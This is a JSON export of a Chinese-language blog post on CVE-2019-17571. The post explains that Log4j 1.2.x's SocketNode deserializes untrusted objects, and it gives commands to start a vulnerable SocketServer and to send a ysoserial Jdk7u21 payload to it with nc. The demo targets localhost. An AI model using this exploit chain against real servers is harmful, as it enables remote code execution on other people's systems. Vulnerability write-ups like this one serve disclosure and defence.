{"id":97,"date":"2019-12-25T22:48:11","date_gmt":"2019-12-25T14:48:11","guid":{"rendered":"http:\/\/blog.73007300.xyz\/?p=97"},"modified":"2019-12-28T01:48:00","modified_gmt":"2019-12-27T17:48:00","slug":"apache-log4j-1-2-x-%e5%ad%98%e5%9c%a8%e8%bf%9c%e7%a8%8b%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c","status":"publish","type":"post","link":"https:\/\/blog.73007300.xyz\/?p=97","title":{"rendered":"Apache Log4j 1.2.X \u5b58\u5728\u8fdc\u7a0b\u4ee3\u7801\u6267\u884cCVE-2019-17571"},"content":{"rendered":"\n<p>org.apache.log4j.net.SocketNode\u7c7b\u5728\u5b9e\u73b0Runnable\u63a5\u53e3\u7684run\u65b9\u6cd5\u65f6\uff0c\u672a\u5bf9\u8f93\u5165\u505a\u8fc7\u6ee4\uff0c\u76f4\u63a5\u8bfb\u53d6\u6d41\u4e2d\u7684\u5bf9\u8c61\uff0c\u7279\u5b9a\u6761\u4ef6\u4e0b\u53ef\u88ab\u5229\u7528\uff0c\u5b58\u5728\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u7684\u98ce\u9669\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1361\" height=\"686\" src=\"https:\/\/blog.73007300.xyz\/wp-content\/uploads\/2019\/12\/image-11.png\" alt=\"\" class=\"wp-image-98\"\/><\/figure>\n\n\n\n<p>\u53ef\u4ee5\u770b\u5230\uff0c\u76f4\u63a5\u5c31ReadObject\u4e86\uff0c\u5565\u8fc7\u6ee4\u4e5f\u6ca1\u505a\uff0c\u4e5f\u6ca1\u6821\u9a8c\u3002<br> \u5982\u679c\u7ed3\u5408\u5176\u4ed6\u5e8f\u5217\u5316\u6f0f\u6d1e\uff0c\u6bd4\u5982Jdk7u21\uff0c\u5c31\u53ef\u4ee5\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u3002<br> \u7528java version \"1.7.0_05\" \u542f\u52a8Log4j\u4e2d\u7684example\u670d\u52a1\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ java -cp log4j-1.2.17.jar org.apache.log4j.net.SocketServer  1234 examples\/lf5\/InitUsingLog4JProperties\/log4j.properties ..\/<\/code><\/pre>\n\n\n\n<p>\u7ed3\u5408ysoserial\u53ef\u4ee5\u5229\u7528\uff1a<\/p>\n\n\n\n<p>$ java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Jdk7u21 \"gnome-calculator\" | nc localhost 1234<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1173\" height=\"483\" src=\"https:\/\/blog.73007300.xyz\/wp-content\/uploads\/2019\/12\/image-12.png\" alt=\"\" class=\"wp-image-99\"\/><\/figure>\n","protected":false},"excerpt":{"rendered":"<p>org.apache.log4j.net.SocketNode\u7c7b\u5728\u5b9e\u73b0Runnable\u63a5\u53e3\u7684run\u65b9\u6cd5\u65f6\uff0c\u672a\u5bf9\u8f93\u5165\u505a\u8fc7\u6ee4\uff0c\u76f4\u63a5\u8bfb\u53d6\u6d41\u4e2d\u7684\u5bf9\u8c61\uff0c\u7279\u5b9a\u6761\u4ef6\u4e0b\u53ef\u88ab\u5229\u7528\uff0c\u5b58\u5728\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u7684\u98ce\u9669\u3002 \u53ef\u4ee5\u770b\u5230\uff0c\u76f4\u63a5\u5c31ReadObject\u4e86\uff0c\u5565\u8fc7\u6ee4\u4e5f\u6ca1\u505a\uff0c\u4e5f\u6ca1\u6821\u9a8c\u3002 \u5982\u679c\u7ed3\u5408\u5176\u4ed6\u5e8f\u5217\u5316\u6f0f\u6d1e\uff0c\u6bd4\u5982Jdk7u21\uff0c\u5c31\u53ef\u4ee5\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u3002 \u7528java version &#8220;1.7.0_05&#8221; \u542f\u52a8Log4j\u4e2d\u7684example\u670d\u52a1\uff1a \u7ed3\u5408ysoserial\u53ef\u4ee5\u5229\u7528\uff1a $ java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Jdk7u21 &#8220;gnome-calculator&#8221; | nc localhost 1234<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5,2],"tags":[],"_links":{"self":[{"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/posts\/97"}],"collection":[{"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=97"}],"version-history":[{"count":4,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/posts\/97\/revisions"}],"predecessor-version":[{"id":103,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/posts\/97\/revisions\/103"}],"wp:attachment":[{"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=97"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=97"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=97"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}